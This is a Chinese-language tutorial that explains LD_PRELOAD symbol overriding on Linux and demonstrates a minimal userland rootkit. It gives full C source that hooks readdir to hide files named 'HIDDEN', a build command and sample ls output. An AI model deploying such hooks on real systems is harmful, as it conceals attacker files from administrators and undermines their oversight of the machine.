LD_PRELOAD

LD_PRELOAD是Linux/Unix下的環境變數,他可以決定預先要載入的共享函式庫 它比LD_LIBRARY_PATH指定的共用函式庫還要優先,因此LD_PRELOAD裡的全域符號會蓋掉後面載入的同名全域符號 所以我們可以利用LD_PRELOAD來達成Linux/Unix下的hook,要達到rootkit的效果也就輕而易舉 但這只對動態連結的程式有效,因為靜態連結函式庫的代碼都已經包進程式中

實作

因為ls用到readdir這個函數來實作 所以我們覆蓋掉libc裡面的readdir來實作rootkit 做法很簡單,載入libc中原本的readdir(我們叫它old_readdir) 然後把結果中有"HIDDEN"的都濾掉

code如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <dlfcn.h>
#include <sys/types.h>

void *libc = NULL;

struct dirent *(*old_readdir)(DIR *dirp);

struct dirent *readdir(DIR *dirp) {
	struct dirent *ret = NULL;

	if (NULL == libc) {
		if (NULL == (libc = dlopen("/lib/libc.so.6", RTLD_LAZY))) {
			goto END;
		}
	}

	if (NULL == old_readdir) {
		if (NULL == (old_readdir = dlsym(libc, "readdir"))) {
			goto END;
		}
	}

	while(1) {
		ret = old_readdir(dirp);
		if (ret && 0 == strcmp(ret->d_name, "HIDDEN")) {
			continue;
		}
		break;
	}

END:
	return ret;
}

編譯一下

1
$ gcc -fPIC -shared -o rootkit.so rootkit.c

設置LD_PRELOAD並執行ls

1
2
3
4
$ /bin/ls
rootkit.c rootkit.so HIDDEN
$ env LD_PRELOAD=./rootkit.so /bin/ls
rootkit.c rootkit.so

即可發現當前目錄下名字為HIDDEN的都消失了,就算下參數-al也一樣